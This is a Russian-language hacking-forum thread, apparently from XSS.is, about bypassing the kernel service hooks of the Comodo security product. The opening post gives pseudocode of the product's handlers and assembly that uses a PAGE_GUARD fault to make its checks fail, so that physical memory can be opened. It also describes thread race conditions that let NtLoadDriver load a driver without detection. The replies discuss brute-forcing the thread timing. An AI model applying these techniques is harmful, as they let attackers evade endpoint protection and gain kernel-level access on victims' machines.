• XSS.stack #1 – первый литературный журнал от юзеров форума

Comodo.

Indy

RAM
Пользователь
Регистрация
14.07.2011
Сообщения
130
Реакции
21
Здрасти.
Вчера спрашивали про комодо, после поверхностного осмотра подопытного можно дать заключение.
Авторы знали про возможность рк атаки на сервисы, но не знали что она разных типов бывает. Хэндлеры используют KeEnterCriticalRegion() для запрещения доставки саспенд апк. Рассмотрим некоторые сервисы, чтобы принцип атаки был понятен.

1. Инвалидация буфера. Классический тест на открытие физикл мемори. Модель процедуры следующая:
Код:
xNtOpenSection(ObjectAttributes:POBJECT_ATTRIBUTES):
	...
	if QueryName(ObjectAttributes) = FALSE
  NtOpenSection(ObjectAttributes)
	fi
	ret
QueryName() - процедура, определяющая имя секции. Она защищена сех. Если вызов этой процедуры завершится с ошибкой, то будет вызван оригинальный сервис. Это нам и нужно. Вот непосредственно структура этой процедуры:
Код:
QueryName(ObjectAttributes:POBJECT_ATTRIBUTES):
Local ObjAttr:OBJECT_ATTRIBUTES
	%SEH_PROLOG
	MemCopy(@ObjAttr, ObjectAttributes, sizeof(OBJECT_ATTRIBUTES))
	...
	Result = TRUE
	%SEH_EPILOG
	ret
SafeSEH:
	Result = FALSE
	ret
Нужно какимто образом сгенерировать исключение, либо использовать аллокацию из другого потока. Есть механизм сторожевых страниц - страница помечается атрибутом PAGE_GUARD, при обращении к ней генерится #AV и атрибут снимается, после чего следующее обращение успешно выполниться.
Устанавливаем на страницу с именем секции либо со структурой OBJECT_ATTRIBUTES этот атрибут. После этого в QueryName() возникнет фолт при обращении к этой странице. QueryName() возвратит FALSE, после чего будет вызван оригинальный сервис. Простейший пример:
Код:
Local SectionHandle:HANDLE
Local RegionBase:PVOID, RegionSize:ULONG, OldProtect:ULONG
	xor eax,eax
	mov RegionBase,offset ObjAttr
	mov RegionSize,sizeof ObjAttr
	mov ObjAttr.uLength,sizeof(OBJECT_ATTRIBUTES)
	mov ObjAttr.hRootDirectory,eax
	mov ObjAttr.uAttributes,OBJ_CASE_INSENSITIVE
	mov ObjAttr.pSecurityDescriptor,eax
	mov ObjAttr.pSecurityQualityOfService,eax
	mov ObjAttr.pObjectName,offset SectionNameU
	invoke ZwProtectVirtualMemory, NtCurrentProcess, addr RegionBase, addr RegionSize, PAGE_READWRITE or PAGE_GUARD, addr OldProtect
	invoke ZwOpenSection, addr SectionHandle, SECTION_MAP_READ, addr ObjAttr
Секция успешно открывается.

2. Создание обьекта. Передаём в сервис инвалидный описатель(хэндл) обьекта, при этом открываем обьект из другого треда. Операция должна быть выполнена синхронно с небольшой задержкой. Референс на обьекте возвратит STATUS_INVALID_HANDLE:
Код:
xMakeTemporaryObject():
	if ObReferenceObjectByHandle() = FALSE
  NtMakeTemporaryObject()
  ret
	fi
	...
В это время второй тред открывает обьект и описатель становится валидным. Оригинальный сервис будет вызван с валидным описателем.

3. Аналогично п.2, но передаётся не описатель обьекта, а его имя. Сервис NtLoadDriver():
Код:
xLoadDriver():
	if QueryImagePath() = FALSE
  NtLoadDriver()
	fi
	ret
QueryImagePath() читает из ключа реестра имя модуля:
Код:
QueryImagePath():
	if NtOpenKey() = FALSE
  Result = FALSE
  ret
	fi
	...
	Result = TRUE
	ret
Если ключа нет, то вызывается оригинальный сервис. В это время второй тред создаёт ключ. Что приводит к загрузке дрова. Ключи должны формироваться вручную, а не менеджером сервисов(SCM).

Используя этот принцип можно выполнить и на другие сервисы атаку.
 
вопрос только в синхронизации потоков, разве можно с уверенностью сказать что объект будет создан до вызова оригинальной функции а не скажем гдето в её середине?
 
может навоять аналог заглушки (всмысле по размеру кода до проверки передаваемых параметров), делать замер, и выберать задержку изходя из этого? но там ведь всевозможные переключения контекстов и прочая дребедень которая отнимает время... рассуждаю...
 
Рейс кондишен это уязвимость сродни бруту. Выполняется множество итераций, при которых межпоточная зедержка постоянно уменьшается по достижению требуемого результата. В это время функции на которые производится атака возвращают ошибки(инвалидный описатель етц). При достижении требуемой синхронизации происходит желаемый вызов. Если межпотоковая задержка менее необходимой либо вообще отсутствует, то вызов приведёт к детекту - прот выдаст сообщение об обнаруженном вызове. Практически решается элементарно.

Реально выполнить квантовую синхронизацию(свапконтекст). Для этого есть два способа. Хардварный сброс поля рпл селектора и контроль MSW. Но это излишне.

Возможность рк атаки определяет качество продукта - софт уязвимый к такому типу атаки разработан нубьём. Достаточно сказать про юзермодный стаб - прот подгружает ко всем процессам свои модуля. Их два - один реализует протокол обмена с драйвером фс. Второй - вторичный стаб для патча. Способ загрузки вобще извращённый - патчится ZwAlertThread(). Тупее нельзя придумать. Учитывая что в пеб есть загрузочный стаб, специально предназначенный для таких целей =)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх